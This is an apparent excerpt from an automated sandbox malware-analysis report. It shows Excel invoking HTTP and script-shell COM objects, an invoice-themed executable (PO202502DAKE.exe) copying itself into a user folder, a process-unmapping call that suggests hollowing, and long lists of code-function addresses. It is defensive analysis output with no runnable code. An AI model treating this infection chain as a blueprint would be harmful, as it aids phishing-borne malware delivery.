Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}\InProcServer32			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CE93D90 SetLastError,NtUnmapViewOfSection,GetLastError,		12_2_00007FFC9CE93D90
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDE3D90 SetLastError,NtUnmapViewOfSection,GetLastError,		28_2_00007FFC9CDE3D90

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FF6220A7ED0	12_2_00007FF6220A7ED0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FF6220A57C0	12_2_00007FF6220A57C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FF6220A43E0	12_2_00007FF6220A43E0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC6BCEE	12_2_00007FFC9CC6BCEE
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC63CC0	12_2_00007FFC9CC63CC0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCDFC80	12_2_00007FFC9CCDFC80
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC99ED6	12_2_00007FFC9CC99ED6
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC63E9F	12_2_00007FFC9CC63E9F
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCABFF0	12_2_00007FFC9CCABFF0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCDB900	12_2_00007FFC9CCDB900
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD15A20	12_2_00007FFC9CD15A20
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD0F9A0	12_2_00007FFC9CD0F9A0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD0DC60	12_2_00007FFC9CD0DC60
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCA7BA0	12_2_00007FFC9CCA7BA0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD214B0	12_2_00007FFC9CD214B0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC91656	12_2_00007FFC9CC91656
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCA3620	12_2_00007FFC9CCA3620
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD0D5C0	12_2_00007FFC9CD0D5C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD0F5C0	12_2_00007FFC9CD0F5C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC77860	12_2_00007FFC9CC77860
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD01800	12_2_00007FFC9CD01800
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC7F780	12_2_00007FFC9CC7F780
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCFF0C0	12_2_00007FFC9CCFF0C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD0F240	12_2_00007FFC9CD0F240
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCDD280	12_2_00007FFC9CCDD280
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC78E70	12_2_00007FFC9CC78E70
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC7EE60	12_2_00007FFC9CC7EE60
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD0EF40	12_2_00007FFC9CD0EF40
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC7EF60	12_2_00007FFC9CC7EF60
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC94A60	12_2_00007FFC9CC94A60
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD10C50	12_2_00007FFC9CD10C50
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCD8BE0	12_2_00007FFC9CCD8BE0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC6E760	12_2_00007FFC9CC6E760
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCD8820	12_2_00007FFC9CCD8820
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD167D0	12_2_00007FFC9CD167D0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC967E0	12_2_00007FFC9CC967E0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD7E120	12_2_00007FFC9CD7E120
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCBC250	12_2_00007FFC9CCBC250
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CCA0230	12_2_00007FFC9CCA0230
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD12330	12_2_00007FFC9CD12330
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEB7D40	12_2_00007FFC9CEB7D40
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF4BD60	12_2_00007FFC9CF4BD60
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEB5D80	12_2_00007FFC9CEB5D80
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEA98C0	12_2_00007FFC9CEA98C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEA39DF	12_2_00007FFC9CEA39DF
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEC79C0	12_2_00007FFC9CEC79C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEE1B40	12_2_00007FFC9CEE1B40
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEDDAC0	12_2_00007FFC9CEDDAC0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF4B580	12_2_00007FFC9CF4B580
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEDB6E0	12_2_00007FFC9CEDB6E0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEB1860	12_2_00007FFC9CEB1860
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEA3800	12_2_00007FFC9CEA3800
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CED97DD	12_2_00007FFC9CED97DD
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF3D220	12_2_00007FFC9CF3D220
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF45220	12_2_00007FFC9CF45220
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEB7360	12_2_00007FFC9CEB7360
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF47400	12_2_00007FFC9CF47400
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CFBD280	12_2_00007FFC9CFBD280
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEB7460	12_2_00007FFC9CEB7460
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEDB440	12_2_00007FFC9CEDB440
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEFB3A0	12_2_00007FFC9CEFB3A0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF4CDC0	12_2_00007FFC9CF4CDC0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEA8E40	12_2_00007FFC9CEA8E40
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF4ACC0	12_2_00007FFC9CF4ACC0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF54EB0	12_2_00007FFC9CF54EB0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF3EEE0	12_2_00007FFC9CF3EEE0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF60900	12_2_00007FFC9CF60900
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEDAB30	12_2_00007FFC9CEDAB30
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF4EC20	12_2_00007FFC9CF4EC20
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF14AE0	12_2_00007FFC9CF14AE0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEB8500	12_2_00007FFC9CEB8500
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEAE5A0	12_2_00007FFC9CEAE5A0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEE2770	12_2_00007FFC9CEE2770
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CECC756	12_2_00007FFC9CECC756
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF3C7A0	12_2_00007FFC9CF3C7A0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEF61C0	12_2_00007FFC9CEF61C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEDE140	12_2_00007FFC9CEDE140
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEE0120	12_2_00007FFC9CEE0120
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF48260	12_2_00007FFC9CF48260
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEF61C0	12_2_00007FFC9CEF61C0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF502B0	12_2_00007FFC9CF502B0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CF14300	12_2_00007FFC9CF14300
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEA83D0	12_2_00007FFC9CEA83D0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140011970	16_2_0000000140011970
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140023B70	16_2_0000000140023B70
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400276B0	16_2_00000001400276B0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140023FF0	16_2_0000000140023FF0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400137F0	16_2_00000001400137F0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400058E0	16_2_00000001400058E0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014000D960	16_2_000000014000D960
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014000E960	16_2_000000014000E960
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014001E980	16_2_000000014001E980
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400311C4	16_2_00000001400311C4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400149E0	16_2_00000001400149E0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003021C	16_2_000000014003021C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400162A0	16_2_00000001400162A0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140012B70	16_2_0000000140012B70
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003538C	16_2_000000014003538C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140023BE6	16_2_0000000140023BE6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140036C58	16_2_0000000140036C58
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014000AC70	16_2_000000014000AC70
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014002E48C	16_2_000000014002E48C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014000FCA0	16_2_000000014000FCA0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400374BC	16_2_00000001400374BC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014002B57C	16_2_000000014002B57C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014001DDD0	16_2_000000014001DDD0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140016E10	16_2_0000000140016E10
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014001BE40	16_2_000000014001BE40
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014001B650	16_2_000000014001B650
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014001DE51	16_2_000000014001DE51
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140017E70	16_2_0000000140017E70
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014001C680	16_2_000000014001C680
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014000A6C0	16_2_000000014000A6C0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140010ED0	16_2_0000000140010ED0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140037F68	16_2_0000000140037F68
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FF6E44A7ED0	28_2_00007FF6E44A7ED0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FF6E44A57C0	28_2_00007FF6E44A57C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FF6E44A43E0	28_2_00007FF6E44A43E0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBBBCEE	28_2_00007FFC9CBBBCEE
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC2FC80	28_2_00007FFC9CC2FC80
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBE9ED6	28_2_00007FFC9CBE9ED6
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBB3E9F	28_2_00007FFC9CBB3E9F
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBFBFF0	28_2_00007FFC9CBFBFF0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC2B900	28_2_00007FFC9CC2B900
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC65A20	28_2_00007FFC9CC65A20
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC5F9A0	28_2_00007FFC9CC5F9A0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC4FB40	28_2_00007FFC9CC4FB40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC5DC60	28_2_00007FFC9CC5DC60
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC714B0	28_2_00007FFC9CC714B0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBE1656	28_2_00007FFC9CBE1656
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBF3620	28_2_00007FFC9CBF3620
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC5D5C0	28_2_00007FFC9CC5D5C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC5F5C0	28_2_00007FFC9CC5F5C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBBB5E7	28_2_00007FFC9CBBB5E7
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBC7860	28_2_00007FFC9CBC7860
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBCF780	28_2_00007FFC9CBCF780
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC5F240	28_2_00007FFC9CC5F240
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC2D280	28_2_00007FFC9CC2D280
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBCEE60	28_2_00007FFC9CBCEE60
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBC8E72	28_2_00007FFC9CBC8E72
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC5EF40	28_2_00007FFC9CC5EF40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBCEF60	28_2_00007FFC9CBCEF60
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBC4A40	28_2_00007FFC9CBC4A40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC60C50	28_2_00007FFC9CC60C50
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC28BE0	28_2_00007FFC9CC28BE0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBC4640	28_2_00007FFC9CBC4640
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBBE760	28_2_00007FFC9CBBE760
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC28820	28_2_00007FFC9CC28820
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC667D0	28_2_00007FFC9CC667D0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBE67E0	28_2_00007FFC9CBE67E0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CCCE120	28_2_00007FFC9CCCE120
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC0C250	28_2_00007FFC9CC0C250
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CC62330	28_2_00007FFC9CC62330
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE9BD60	28_2_00007FFC9CE9BD60
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE07D40	28_2_00007FFC9CE07D40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE05D80	28_2_00007FFC9CE05D80
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDF98C0	28_2_00007FFC9CDF98C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDF39DF	28_2_00007FFC9CDF39DF
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE179C0	28_2_00007FFC9CE179C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE31B40	28_2_00007FFC9CE31B40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE2DAC0	28_2_00007FFC9CE2DAC0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE9B580	28_2_00007FFC9CE9B580
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE2B6E0	28_2_00007FFC9CE2B6E0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE01860	28_2_00007FFC9CE01860
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDF3800	28_2_00007FFC9CDF3800
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE297DD	28_2_00007FFC9CE297DD
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE95220	28_2_00007FFC9CE95220
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE8D220	28_2_00007FFC9CE8D220
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE07360	28_2_00007FFC9CE07360
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CF0D280	28_2_00007FFC9CF0D280
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE07460	28_2_00007FFC9CE07460
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE2B440	28_2_00007FFC9CE2B440
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE97400	28_2_00007FFC9CE97400
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE4B3A0	28_2_00007FFC9CE4B3A0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE9ACC0	28_2_00007FFC9CE9ACC0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDF8E40	28_2_00007FFC9CDF8E40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE9CDC0	28_2_00007FFC9CE9CDC0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE8EEE0	28_2_00007FFC9CE8EEE0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CEA4EB0	28_2_00007FFC9CEA4EB0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CEB0900	28_2_00007FFC9CEB0900
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE2AB30	28_2_00007FFC9CE2AB30
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE64AE0	28_2_00007FFC9CE64AE0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE9EC20	28_2_00007FFC9CE9EC20
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE08500	28_2_00007FFC9CE08500
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDFE5A0	28_2_00007FFC9CDFE5A0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE32770	28_2_00007FFC9CE32770
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE1C756	28_2_00007FFC9CE1C756
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE461C0	28_2_00007FFC9CE461C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE8C7A0	28_2_00007FFC9CE8C7A0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE2E140	28_2_00007FFC9CE2E140
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE30120	28_2_00007FFC9CE30120
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE98260	28_2_00007FFC9CE98260
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE461C0	28_2_00007FFC9CE461C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE64300	28_2_00007FFC9CE64300
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CEA02B0	28_2_00007FFC9CEA02B0
